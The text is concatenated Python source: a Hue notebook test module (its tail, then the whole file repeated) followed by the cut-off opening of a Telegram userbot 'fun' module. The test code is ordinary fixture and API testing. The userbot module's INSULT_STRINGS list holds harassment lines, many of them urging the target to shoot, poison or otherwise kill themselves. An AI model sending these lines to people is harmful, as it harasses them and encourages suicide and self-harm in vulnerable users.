'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': 'csv' }) content = b"".join(response) assert_true(len(content) > 0) def test_get_interpreters_to_show(): default_interpreters = OrderedDict(( ('hive', { 'name': 'Hive', 'interface': 'hiveserver2', 'type': 'hive', 'is_sql': True, 'options': {}, 'dialect_properties': None, 'is_catalog': False, 'category': 'editor', 'dialect': 'hive' }), ('spark', { 'name': 'Scala', 'interface': 'livy', 'type': 'spark', 'is_sql': False, 'options': {}, 'dialect_properties': None, 'is_catalog': False, 'category': 'editor', 'dialect': 'scala' }), ('pig', { 'name': 'Pig', 'interface': 'pig', 'type': 'pig', 'is_sql': False, 'options': {}, 'dialect_properties': None, 'is_catalog': False, 'category': 'editor', 'dialect': 'pig' }), ('java', { 'name': 'Java', 'interface': 'oozie', 'type': 'java', 'is_sql': False, 'options': {}, 'dialect_properties': None, 'is_catalog': False, 'category': 'editor', 'dialect': 'java' }) )) expected_interpreters = OrderedDict(( ('java', { 'name': 'Java', 'interface': 'oozie', 'type': 'java', 'is_sql': False, 'options': {}, 'dialect_properties': None, 'is_catalog': False, 'category': 'editor', 'dialect': 'java' }), ('pig', { 'name': 'Pig', 'interface': 'pig', 'is_sql': False, 'type': 'pig', 'options': {}, 'dialect_properties': None, 'is_catalog': False, 'category': 'editor', 'dialect': 'pig' }), ('hive', { 'name': 'Hive', 'interface': 'hiveserver2', 'is_sql': True, 'type': 'hive', 'options': {}, 'dialect_properties': None, 'is_catalog': False, 'category': 'editor', 'dialect': 'hive' }), ('spark', { 'name': 'Scala', 'interface': 'livy', 'type': 'spark', 'is_sql': False, 'options': {}, 'dialect_properties': None, 'is_catalog': False, 'category': 'editor', 'dialect': 'scala' }) )) try: resets = [INTERPRETERS.set_for_testing(default_interpreters), APP_BLACKLIST.set_for_testing('')] appmanager.DESKTOP_MODULES = [] appmanager.DESKTOP_APPS = None appmanager.load_apps(APP_BLACKLIST.get()) interpreters_shown_on_wheel_unset = get_ordered_interpreters() assert_equal( list(default_interpreters.values()), interpreters_shown_on_wheel_unset, 'get_interpreters_to_show should return the same as get_interpreters when interpreters_shown_on_wheel is unset. expected: %s, actual: %s' % ( list(default_interpreters.values()), interpreters_shown_on_wheel_unset ) ) resets.append(INTERPRETERS_SHOWN_ON_WHEEL.set_for_testing('java,pig')) assert_equal( list(expected_interpreters.values()), get_ordered_interpreters(), 'get_interpreters_to_show did not return interpreters in the correct order expected: %s, actual: %s' % ( list(expected_interpreters.values()), get_ordered_interpreters() ) ) finally: for reset in resets: reset() appmanager.DESKTOP_MODULES = [] appmanager.DESKTOP_APPS = None appmanager.load_apps(APP_BLACKLIST.get()) class TestAnalytics(object): def setUp(self): self.client = make_logged_in_client(username="test", groupname="default", recreate=True, is_superuser=False) self.user = User.objects.get(username="test") def test_basic_stats(self): try: doc, created = Document2.objects.get_or_create(name='test_query_stats', type='query-hive', owner=self.user, data={}) Analytics.admin_stats() Analytics.user_stats(user=self.user) Analytics.query_stats(query=doc) finally: doc.delete() class TestEditor(object): def setUp(self): self.client = make_logged_in_client(username="test", groupname="empty", recreate=True, is_superuser=False) self.user = User.objects.get(username="test") grant_access("test", "empty", "impala") def test_open_saved_impala_query_when_no_hive_interepreter(self): try: doc, created = Document2.objects.get_or_create( name='open_saved_query_with_hive_not_present', type='query-impala', owner=self.user, data={} ) with patch('desktop.middleware.fsmanager') as fsmanager: response = self.client.get(reverse('notebook:editor'), {'editor': doc.id, 'is_embeddable': True}) assert_equal(200, response.status_code) finally: doc.delete()
#!/usr/bin/env python ## -*- coding: utf-8 -*- # Licensed to Cloudera, Inc. under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. Cloudera, Inc. licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from builtins import object import json import sys from collections import OrderedDict from nose.plugins.attrib import attr from nose.tools import assert_equal, assert_true, assert_false from django.urls import reverse from azure.conf import is_adls_enabled from desktop import appmanager from desktop.conf import APP_BLACKLIST from desktop.lib.django_test_util import make_logged_in_client from desktop.lib.test_utils import grant_access, add_permission from desktop.models import Directory, Document, Document2 from hadoop import cluster as originalCluster from useradmin.models import User import notebook.connectors.hiveserver2 from notebook.api import _historify from notebook.connectors.base import Notebook, QueryError, Api from notebook.decorators import api_error_handler from notebook.conf import get_ordered_interpreters, INTERPRETERS_SHOWN_ON_WHEEL, INTERPRETERS from notebook.models import Analytics if sys.version_info[0] > 2: from unittest.mock import patch else: from mock import patch class TestNotebookApi(object): def setUp(self): self.client = make_logged_in_client(username="test", groupname="default", recreate=True, is_superuser=False) self.client_not_me = make_logged_in_client(username="not_perm_user", groupname="default", recreate=True, is_superuser=False) self.user = User.objects.get(username="test") self.user_not_me = User.objects.get(username="not_perm_user") grant_access("test", "default", "notebook") grant_access("not_perm_user", "default", "notebook") self.notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": 50010, "snippets": [{"id":"2b7d1f46-17a0-30af-efeb-33d4c29b1055","type":"hive","status":"running","statement_raw":"select * from default.web_logs where app = '${app_name}';","variables":[{"name":"app_name","value":"metastore"}],"statement":"select * from default.web_logs where app = 'metastore';","properties":{"settings":[],"files":[],"functions":[]},"result":{"id":"b424befa-f4f5-8799-a0b4-79753f2552b1","type":"table","handle":{"log_context":null,"statements_count":1,"end":{"column":21,"row":0},"statement_id":0,"has_more_statements":false,"start":{"column":0,"row":0},"secret":"rVRWw7YPRGqPT7LZ/TeFaA==an","has_result_set":true,"statement":"select * from default.web_logs where app = 'metastore';","operation_type":0,"modified_row_count":null,"guid":"7xm6+epkRx6dyvYvGNYePA==an"}},"lastExecuted": 1462554843817,"database":"default"}], "uuid": "5982a274-de78-083c-2efc-74f53dce744c", "isSaved": false, "parentUuid": null } """ self.notebook = json.loads(self.notebook_json) self.doc2 = Document2.objects.create(id=50010, name=self.notebook['name'], type=self.notebook['type'], owner=self.user) self.doc1 = Document.objects.link( self.doc2, owner=self.user, name=self.doc2.name, description=self.doc2.description, extra=self.doc2.type ) def test_save_notebook(self): # Test that saving a new document with a new parent will set the parent_directory home_dir = Document2.objects.get_home_directory(self.user) assert_equal(home_dir.uuid, self.doc2.parent_directory.uuid) new_dir = Directory.objects.create(name='new_dir', owner=self.user, parent_directory=home_dir) notebook_cp = self.notebook.copy() notebook_cp.pop('id') notebook_cp['directoryUuid'] = new_dir.uuid notebook_json = json.dumps(notebook_cp) response = self.client.post(reverse('notebook:save_notebook'), {'notebook': notebook_json}) data = json.loads(response.content) assert_equal(0, data['status'], data) doc = Document2.objects.get(pk=data['id']) assert_equal(new_dir.uuid, doc.parent_directory.uuid) # Test that saving a new document with a no parent will map it to its home dir notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": null, "snippets": [{"id":"2b7d1f46-17a0-30af-efeb-33d4c29b1055","type":"hive","status":"running","statement_raw":"select * from default.web_logs where app = '${app_name}';","variables":[{"name":"app_name","value":"metastore"}],"statement":"select * from default.web_logs where app = 'metastore';","properties":{"settings":[],"files":[],"functions":[]},"result":{"id":"b424befa-f4f5-8799-a0b4-79753f2552b1","type":"table","handle":{"log_context":null,"statements_count":1,"end":{"column":21,"row":0},"statement_id":0,"has_more_statements":false,"start":{"column":0,"row":0},"secret":"rVRWw7YPRGqPT7LZ/TeFaA==an","has_result_set":true,"statement":"select * from default.web_logs where app = 'metastore';","operation_type":0,"modified_row_count":null,"guid":"7xm6+epkRx6dyvYvGNYePA==an"}},"lastExecuted": 1462554843817,"database":"default"}], "uuid": "d9efdee1-ef25-4d43-b8f9-1a170f69a05a" } """ response = self.client.post(reverse('notebook:save_notebook'), {'notebook': notebook_json}) data = json.loads(response.content) assert_equal(0, data['status'], data) doc = Document2.objects.get(pk=data['id']) assert_equal(Document2.objects.get_home_directory(self.user).uuid, doc.parent_directory.uuid) # Test that saving a notebook will save the search field to the first statement text assert_equal(doc.search, "select * from default.web_logs where app = 'metastore';") def test_historify(self): # Starts with no history assert_equal(0, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) assert_equal(1, Document.objects.filter(name__contains=self.notebook['name']).count()) history_doc = _historify(self.notebook, self.user) assert_true(history_doc.id > 0) # Test that historify creates new Doc2 and linked Doc1 assert_equal(1, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) assert_equal(2, Document.objects.filter(name__contains=self.notebook['name']).count()) # Historify again history_doc = _historify(self.notebook, self.user) assert_equal(2, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) assert_equal(3, Document.objects.filter(name__contains=self.notebook['name']).count()) def test_get_history(self): assert_equal(0, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) _historify(self.notebook, self.user) _historify(self.notebook, self.user) _historify(self.notebook, self.user) assert_equal(3, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) # History should not return history objects that don't have the given doc type Document2.objects.create(name='Impala History', type='query-impala', data=self.notebook_json, owner=self.user, is_history=True) # Verify that get_history API returns history objects for given type and current user response = self.client.get(reverse('notebook:get_history'), {'doc_type': 'hive'}) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal(3, len(data['history']), data) assert_true(all(doc['type'] == 'query-hive' for doc in data['history']), data) # TODO: test that query history for shared query only returns docs accessible by current user def test_clear_history(self): assert_equal(0, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) _historify(self.notebook, self.user) _historify(self.notebook, self.user) _historify(self.notebook, self.user) assert_equal(3, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) # Clear history should not clear history objects that don't have the given doc type Document2.objects.create(name='Impala History', type='query-impala', owner=self.user, is_history=True) # clear history should retain original document but wipe history response = self.client.post(reverse('notebook:clear_history'), {'notebook': self.notebook_json, 'doc_type': 'hive'}) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_false(Document2.objects.filter(type='query-hive', is_history=True).exists()) assert_true(Document2.objects.filter(type='query-hive', is_history=False).exists()) assert_true(Document2.objects.filter(type='query-impala', is_history=True).exists()) def test_delete_notebook(self): trash_notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": null, "snippets": [{"id": "e069ef32-5c95-4507-b961-e79c090b5abf","type":"hive","status":"ready","database":"default","statement":"select * from web_logs","statement_raw":"select * from web_logs","variables":[],"properties":{"settings":[],"files":[],"functions":[]},"result":{}}], "uuid": "8a20da5f-b69c-4843-b17d-dea5c74c41d1" } """ # Assert that the notebook is first saved response = self.client.post(reverse('notebook:save_notebook'), {'notebook': trash_notebook_json}) data = json.loads(response.content) assert_equal(0, data['status'], data) # Test that deleting it moves it to the user's Trash folder notebook_doc = Document2.objects.get(id=data['id']) trash_notebooks = [Notebook(notebook_doc).get_data()] response = self.client.post(reverse('notebook:delete'), {'notebooks': json.dumps(trash_notebooks)}) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('Trashed 1 notebook(s)', data['message'], data) response = self.client.get('/desktop/api2/doc', {'path': '/.Trash'}) data = json.loads(response.content) trash_uuids = [doc['uuid'] for doc in data['children']] assert_true(notebook_doc.uuid in trash_uuids, data) # Test that any errors are reported in the response nonexistant_doc = { "id": 12345, "uuid": "ea22da5f-b69c-4843-b17d-dea5c74c41d1", "selectedSnippet": "hive", "showHistory": False, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": None, } ], "type": "query-hive", "snippets": [{ "id": "e069ef32-5c95-4507-b961-e79c090b5abf", "type": "hive", "status": "ready", "database": "default", "statement": "select * from web_logs", "statement_raw": "select * from web_logs", "variables": [], "properties": {"settings": [], "files": [], "functions": []}, "result": {} }] } trash_notebooks = [nonexistant_doc] response = self.client.post(reverse('notebook:delete'), {'notebooks': json.dumps(trash_notebooks)}) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('Trashed 0 notebook(s) and failed to delete 1 notebook(s).', data['message'], data) assert_equal(['ea22da5f-b69c-4843-b17d-dea5c74c41d1'], data['errors']) def test_query_error_encoding(self): @api_error_handler def send_exception(message): raise QueryError(message=message) message = """SELECT a.key, a.* FROM customers c, c.addresses a""" response = send_exception(message) data = json.loads(response.content) assert_equal(1, data['status']) message = """SELECT \u2002\u2002a.key, \u2002\u2002a.* FROM customers c, c.addresses a""" response = send_exception(message) data = json.loads(response.content) assert_equal(1, data['status']) message = u"""SELECT a.key, a.* FROM déclenché c, c.addresses a""" response = send_exception(message) data = json.loads(response.content) assert_equal(1, data['status']) class MockedApi(Api): def execute(self, notebook, snippet): return { 'sync': True, 'has_result_set': True, 'result': { 'has_more': False, 'data': [['test']], 'meta': [{ 'name': 'test', 'type': '', 'comment': '' }], 'type': 'table' } } def close_statement(self, notebook, snippet): pass def export_data_as_hdfs_file(self, snippet, target_file, overwrite): return {'destination': target_file} class MockFs(object): def __init__(self, logical_name=None): self.fs_defaultfs = 'hdfs://curacao:8020' self.logical_name = logical_name if logical_name else '' self.DEFAULT_USER = 'test' self.user = 'test' self._filebrowser_action = '' def setuser(self, user): self._user = user @property def user(self): return self._user def do_as_user(self, username, fn, *args, **kwargs): return '' def exists(self, path): if path == '/user/hue/non_exists_directory': return False return True def listdir_stats(self, path): if path == '/user/hue/non_empty_directory': return ['mock_dir', 'mock_file'] return [] def isdir(self, path): return path == '/user/hue' def filebrowser_action(self): return self._filebrowser_action @user.setter def user(self, value): self._user = value class TestNotebookApiMocked(object): def setUp(self): self.client = make_logged_in_client(username="test", groupname="default", recreate=True, is_superuser=False) self.client_not_me = make_logged_in_client(username="not_perm_user", groupname="default", recreate=True, is_superuser=False) self.user = User.objects.get(username="test") self.user_not_me = User.objects.get(username="not_perm_user") # Beware: Monkey patch HS2API Mock API if not hasattr(notebook.connectors.hiveserver2, 'original_HS2Api'): # Could not monkey patch base.get_api notebook.connectors.hiveserver2.original_HS2Api = notebook.connectors.hiveserver2.HS2Api notebook.connectors.hiveserver2.HS2Api = MockedApi originalCluster.get_hdfs() self.original_fs = originalCluster.FS_CACHE["default"] originalCluster.FS_CACHE["default"] = MockFs() grant_access("test", "default", "notebook") grant_access("test", "default", "beeswax") grant_access("test", "default", "hive") grant_access("not_perm_user", "default", "notebook") grant_access("not_perm_user", "default", "beeswax") grant_access("not_perm_user", "default", "hive") add_permission('test', 'has_adls', permname='adls_access', appname='filebrowser') def tearDown(self): notebook.connectors.hiveserver2.HS2Api = notebook.connectors.hiveserver2.original_HS2Api if originalCluster.FS_CACHE is None: originalCluster.FS_CACHE = {} originalCluster.FS_CACHE["default"] = self.original_fs @attr('integration') def test_export_result(self): notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": null, "snippets": [{"id":"2b7d1f46-17a0-30af-efeb-33d4c29b1055","type":"hive","status":"running","statement":"select * from web_logs","properties":{"settings":[],"variables":[],"files":[],"functions":[]},"result":{"id":"b424befa-f4f5-8799-a0b4-79753f2552b1","type":"table","handle":{"log_context":null,"statements_count":1,"end":{"column":21,"row":0},"statement_id":0,"has_more_statements":false,"start":{"column":0,"row":0},"secret":"rVRWw7YPRGqPT7LZ/TeFaA==an","has_result_set":true,"statement":"select * from web_logs","operation_type":0,"modified_row_count":null,"guid":"7xm6+epkRx6dyvYvGNYePA==an"}},"lastExecuted": 1462554843817,"database":"default"}], "uuid": "d9efdee1-ef25-4d43-b8f9-1a170f69a05a" } """ response = self.client.post(reverse('notebook:export_result'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': json.dumps('hdfs-file'), 'destination': json.dumps('/user/hue'), 'overwrite': json.dumps(False) }) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('/user/hue/Test Hive Query.csv', data['watch_url']['destination'], data) response = self.client.post(reverse('notebook:export_result'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': json.dumps('hdfs-file'), 'destination': json.dumps('/user/hue/path.csv'), 'overwrite': json.dumps(False) }) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('/user/hue/path.csv', data['watch_url']['destination'], data) if is_adls_enabled(): response = self.client.post(reverse('notebook:export_result'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': json.dumps('hdfs-file'), 'destination': json.dumps('adl:/user/hue/path.csv'), 'overwrite': json.dumps(False) }) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('adl:/user/hue/path.csv', data['watch_url']['destination'], data) response = self.client.post(reverse('notebook:export_result'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': json.dumps('hdfs-directory'), 'destination': json.dumps('/user/hue/non_empty_directory'), 'overwrite': json.dumps(False) }) data = json.loads(response.content) assert_equal(-1, data['status'], data) assert_equal('The destination is not a empty directory!', data['message'], data) def test_download_result(self): notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": null, "snippets": [{"id":"2b7d1f46-17a0-30af-efeb-33d4c29b1055","type":"hive","status":"running","statement":"select * from web_logs","properties":{"settings":[],"variables":[],"files":[],"functions":[]},"result":{"id":"b424befa-f4f5-8799-a0b4-79753f2552b1","type":"table","handle":{"log_context":null,"statements_count":1,"end":{"column":21,"row":0},"statement_id":0,"has_more_statements":false,"start":{"column":0,"row":0},"secret":"rVRWw7YPRGqPT7LZ/TeFaA==an","has_result_set":true,"statement":"select * from web_logs","operation_type":0,"modified_row_count":null,"guid":"7xm6+epkRx6dyvYvGNYePA==an"}},"lastExecuted": 1462554843817,"database":"default"}], "uuid": "d9efdee1-ef25-4d43-b8f9-1a170f69a05a" } """ response = self.client.post(reverse('notebook:download'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': 'csv' }) content = b"".join(response) assert_true(len(content) > 0) def test_get_interpreters_to_show(): default_interpreters = OrderedDict(( ('hive', { 'name': 'Hive', 'interface': 'hiveserver2', 'type': 'hive', 'is_sql': True, 'options': {}, 'dialect_properties': None, 'is_catalog': False, 'category': 'editor', 'dialect': 'hive' }), ('spark', { 'name': 'Scala', 'interface': 'livy', 'type': 'spark', 'is_sql': False, 'options': {}, 'dialect_properties': None, 'is_catalog': False, 'category': 'editor', 'dialect': 'scala' }), ('pig', { 'name': 'Pig', 'interface': 'pig', 'type': 'pig', 'is_sql': False, 'options': {}, 'dialect_properties': None, 'is_catalog': False, 'category': 'editor', 'dialect': 'pig' }), ('java', { 'name': 'Java', 'interface': 'oozie', 'type': 'java', 'is_sql': False, 'options': {}, 'dialect_properties': None, 'is_catalog': False, 'category': 'editor', 'dialect': 'java' }) )) expected_interpreters = OrderedDict(( ('java', { 'name': 'Java', 'interface': 'oozie', 'type': 'java', 'is_sql': False, 'options': {}, 'dialect_properties': None, 'is_catalog': False, 'category': 'editor', 'dialect': 'java' }), ('pig', { 'name': 'Pig', 'interface': 'pig', 'is_sql': False, 'type': 'pig', 'options': {}, 'dialect_properties': None, 'is_catalog': False, 'category': 'editor', 'dialect': 'pig' }), ('hive', { 'name': 'Hive', 'interface': 'hiveserver2', 'is_sql': True, 'type': 'hive', 'options': {}, 'dialect_properties': None, 'is_catalog': False, 'category': 'editor', 'dialect': 'hive' }), ('spark', { 'name': 'Scala', 'interface': 'livy', 'type': 'spark', 'is_sql': False, 'options': {}, 'dialect_properties': None, 'is_catalog': False, 'category': 'editor', 'dialect': 'scala' }) )) try: resets = [INTERPRETERS.set_for_testing(default_interpreters), APP_BLACKLIST.set_for_testing('')] appmanager.DESKTOP_MODULES = [] appmanager.DESKTOP_APPS = None appmanager.load_apps(APP_BLACKLIST.get()) interpreters_shown_on_wheel_unset = get_ordered_interpreters() assert_equal( list(default_interpreters.values()), interpreters_shown_on_wheel_unset, 'get_interpreters_to_show should return the same as get_interpreters when interpreters_shown_on_wheel is unset. expected: %s, actual: %s' % ( list(default_interpreters.values()), interpreters_shown_on_wheel_unset ) ) resets.append(INTERPRETERS_SHOWN_ON_WHEEL.set_for_testing('java,pig')) assert_equal( list(expected_interpreters.values()), get_ordered_interpreters(), 'get_interpreters_to_show did not return interpreters in the correct order expected: %s, actual: %s' % ( list(expected_interpreters.values()), get_ordered_interpreters() ) ) finally: for reset in resets: reset() appmanager.DESKTOP_MODULES = [] appmanager.DESKTOP_APPS = None appmanager.load_apps(APP_BLACKLIST.get()) class TestAnalytics(object): def setUp(self): self.client = make_logged_in_client(username="test", groupname="default", recreate=True, is_superuser=False) self.user = User.objects.get(username="test") def test_basic_stats(self): try: doc, created = Document2.objects.get_or_create(name='test_query_stats', type='query-hive', owner=self.user, data={}) Analytics.admin_stats() Analytics.user_stats(user=self.user) Analytics.query_stats(query=doc) finally: doc.delete() class TestEditor(object): def setUp(self): self.client = make_logged_in_client(username="test", groupname="empty", recreate=True, is_superuser=False) self.user = User.objects.get(username="test") grant_access("test", "empty", "impala") def test_open_saved_impala_query_when_no_hive_interepreter(self): try: doc, created = Document2.objects.get_or_create( name='open_saved_query_with_hive_not_present', type='query-impala', owner=self.user, data={} ) with patch('desktop.middleware.fsmanager') as fsmanager: response = self.client.get(reverse('notebook:editor'), {'editor': doc.id, 'is_embeddable': True}) assert_equal(200, response.status_code) finally: doc.delete()
# Copyright (C) 2019 The Raphielscape Company LLC. # # Licensed under the Raphielscape Public License, Version 1.c (the "License"); # you may not use this file except in compliance with the License. """ Userbot module for having some fun with people. """ from asyncio import sleep from random import choice, getrandbits, randint from re import sub import time from collections import deque import requests from cowpy import cow from userbot import CMD_HELP from userbot.events import register from userbot.modules.admin import get_user_from_event # ================= CONSTANT ================= METOOSTR = [ "Me too thanks", "Haha yes, me too", "Same lol", "Me irl", "Same here", "Haha yes", "Me rn", ] ZALG_LIST = [[ "̖", " ̗", " ̘", " ̙", " ̜", " ̝", " ̞", " ̟", " ̠", " ̤", " ̥", " ̦", " ̩", " ̪", " ̫", " ̬", " ̭", " ̮", " ̯", " ̰", " ̱", " ̲", " ̳", " ̹", " ̺", " ̻", " ̼", " ͅ", " ͇", " ͈", " ͉", " ͍", " ͎", " ͓", " ͔", " ͕", " ͖", " ͙", " ͚", " ", ], [ " ̍", " ̎", " ̄", " ̅", " ̿", " ̑", " ̆", " ̐", " ͒", " ͗", " ͑", " ̇", " ̈", " ̊", " ͂", " ̓", " ̈́", " ͊", " ͋", " ͌", " ̃", " ̂", " ̌", " ͐", " ́", " ̋", " ̏", " ̽", " ̉", " ͣ", " ͤ", " ͥ", " ͦ", " ͧ", " ͨ", " ͩ", " ͪ", " ͫ", " ͬ", " ͭ", " ͮ", " ͯ", " ̾", " ͛", " ͆", " ̚", ], [ " ̕", " ̛", " ̀", " ́", " ͘", " ̡", " ̢", " ̧", " ̨", " ̴", " ̵", " ̶", " ͜", " ͝", " ͞", " ͟", " ͠", " ͢", " ̸", " ̷", " ͡", ]] EMOJIS = [ "😂", "😂", "👌", "✌", "💞", "👍", "👌", "💯", "🎶", "👀", "😂", "👓", "👏", "👐", "🍕", "💥", "🍴", "💦", "💦", "🍑", "🍆", "😩", "😏", "👉👌", "👀", "👅", "😩", "🚰", ] INSULT_STRINGS = [ "Owww ... Such a stupid idiot.", "Don't drink and type.", "I think you should go home or better a mental asylum.", "Command not found. Just like your brain.", "Do you realize you are making a fool of yourself? Apparently not.", "You can type better than that.", "Bot rule 544 section 9 prevents me from replying to stupid humans like you.", "Sorry, we do not sell brains.", "Believe me you are not normal.", "I bet your brain feels as good as new, seeing that you never use it.", "If I wanted to kill myself I'd climb your ego and jump to your IQ.", "Zombies eat brains... you're safe.", "You didn't evolve from apes, they evolved from you.", "Come back and talk to me when your I.Q. exceeds your age.", "I'm not saying you're stupid, I'm just saying you've got bad luck when it comes to thinking.", "What language are you speaking? Cause it sounds like bullshit.", "Stupidity is not a crime so you are free to go.", "You are proof that evolution CAN go in reverse.", "I would ask you how old you are but I know you can't count that high.", "As an outsider, what do you think of the human race?", "Brains aren't everything. In your case they're nothing.", "Ordinarily people live and learn. You just live.", "I don't know what makes you so stupid, but it really works.", "Keep talking, someday you'll say something intelligent! (I doubt it though)", "Shock me, say something intelligent.", "Your IQ's lower than your shoe size.", "Alas! Your neurotransmitters are no more working.", "Are you crazy you fool.", "Everyone has the right to be stupid but you are abusing the privilege.", "I'm sorry I hurt your feelings when I called you stupid. I thought you already knew that.", "You should try tasting cyanide.", "Your enzymes are meant to digest rat poison.", "You should try sleeping forever.", "Pick up a gun and shoot yourself.", "You could make a world record by jumping from a plane without parachute.", "Stop talking BS and jump in front of a running bullet train.", "Try bathing with Hydrochloric Acid instead of water.", "Try this: if you hold your breath underwater for an hour, you can then hold it forever.", "Go Green! Stop inhaling Oxygen.", "God was searching for you. You should leave to meet him.", "give your 100%. Now, go donate blood.", "Try jumping from a hundred story building but you can do it only once.", "You should donate your brain seeing that you never used it.", "Volunteer for target in an firing range.", "Head shots are fun. Get yourself one.", "You should try swimming with great white sharks.", "You should paint yourself red and run in a bull marathon.", "You can stay underwater for the rest of your life without coming back up.", "How about you stop breathing for like 1 day? That'll be great.", "Try provoking a tiger while you both are in a cage.", "Have you tried shooting yourself as high as 100m using a canon.", "You should try holding TNT in your mouth and igniting it.", "Try playing catch and throw with RDX its fun.", "I heard phogine is poisonous but i guess you wont mind inhaling it for fun.", "Launch yourself into outer space while forgetting oxygen on Earth.", "You should try playing snake and ladders, with real snakes and no ladders.", "Dance naked on a couple of HT wires.", "Active Volcano is the best swimming pool for you.", "You should try hot bath in a volcano.", "Try to spend one day in a coffin and it will be yours forever.", "Hit Uranium with a slow moving neutron in your presence. It will be a worthwhile experience.", "You can be the first person to step on sun. Have a try.", ] UWUS = [ "(・`ω´・)", ";;w;;", "owo", "UwU", ">w<", "^w^", r"\(^o\) (/o^)/", "( ^ _ ^)∠☆", "(ô_ô)", "~:o", ";-;", "(*^*)", "(>_", "(♥_♥)", "*(^O^)*", "((+_+))", ] FACEREACTS = [ "ʘ‿ʘ", "ヾ(-_- )ゞ", "(っ˘ڡ˘ς)", "(´ж`ς)", "( ಠ ʖ̯ ಠ)", "(° ͜ʖ͡°)╭∩╮", "(ᵟຶ︵ ᵟຶ)", "(งツ)ว", "ʚ(•`", "(っ▀¯▀)つ", "(◠﹏◠)", "( ͡ಠ ʖ̯ ͡ಠ)", "( ఠ ͟ʖ ఠ)", "(∩`-´)⊃━☆゚.*・。゚", "(⊃。•́‿•̀。)⊃", "(._.)", "{•̃_•̃}", "(ᵔᴥᵔ)", "♨_♨", "⥀.⥀", "ح˚௰˚づ ", "(҂◡_◡)", "ƪ(ړײ)‎ƪ​​", "(っ•́。•́)♪♬", "◖ᵔᴥᵔ◗ ♪ ♫ ", "(☞゚ヮ゚)☞", "[¬º-°]¬", "(Ծ‸ Ծ)", "(•̀ᴗ•́)و ̑̑", "ヾ(´〇`)ノ♪♪♪", "(ง'̀-'́)ง", "ლ(•́•́ლ)", "ʕ •́؈•̀ ₎", "♪♪ ヽ(ˇ∀ˇ )ゞ", "щ(゚Д゚щ)", "( ˇ෴ˇ )", "눈_눈", "(๑•́ ₃ •̀๑) ", "( ˘ ³˘)♥ ", "ԅ(≖‿≖ԅ)", "♥‿♥", "◔_◔", "⁽⁽ଘ( ˊᵕˋ )ଓ⁾⁾", "乁( ◔ ౪◔)「 ┑( ̄Д  ̄)┍", "( ఠൠఠ )ノ", "٩(๏_๏)۶", "┌(ㆆ㉨ㆆ)ʃ", "ఠ_ఠ", "(づ。◕‿‿◕。)づ", "(ノಠ ∩ಠ)ノ彡( \\o°o)\\", "“ヽ(´▽`)ノ”", "༼ ༎ຶ ෴ ༎ຶ༽", "。゚( ゚இ‸இ゚)゚。", "(づ ̄ ³ ̄)づ", "(⊙.☉)7", "ᕕ( ᐛ )ᕗ", "t(-_-t)", "(ಥ⌣ಥ)", "ヽ༼ ಠ益ಠ ༽ノ", "༼∵༽ ༼⍨༽ ༼⍢༽ ༼⍤༽", "ミ●﹏☉ミ", "(⊙_◎)", "¿ⓧ_ⓧﮌ", "ಠ_ಠ", "(´・_・`)", "ᕦ(ò_óˇ)ᕤ", "⊙﹏⊙", "(╯°□°)╯︵ ┻━┻", r"¯\_(⊙︿⊙)_/¯", "٩◔̯◔۶", "°‿‿°", "ᕙ(⇀‸↼‶)ᕗ", "⊂(◉‿◉)つ", "V•ᴥ•V", "q(❂‿❂)p", "ಥ_ಥ", "ฅ^•ﻌ•^ฅ", "ಥ﹏ಥ", "( ^_^)o自自o(^_^ )", "ಠ‿ಠ", "ヽ(´▽`)/", "ᵒᴥᵒ#", "( ͡° ͜ʖ ͡°)", "┬─┬ ノ( ゜-゜ノ)", "ヽ(´ー`)ノ", "☜(⌒▽⌒)☞", "ε=ε=ε=┌(;*´Д`)ノ", "(╬ ಠ益ಠ)", "┬─┬⃰͡ (ᵔᵕᵔ͜ )", "┻━┻ ︵ヽ(`Д´)ノ︵ ┻━┻", r"¯\_(ツ)_/¯", 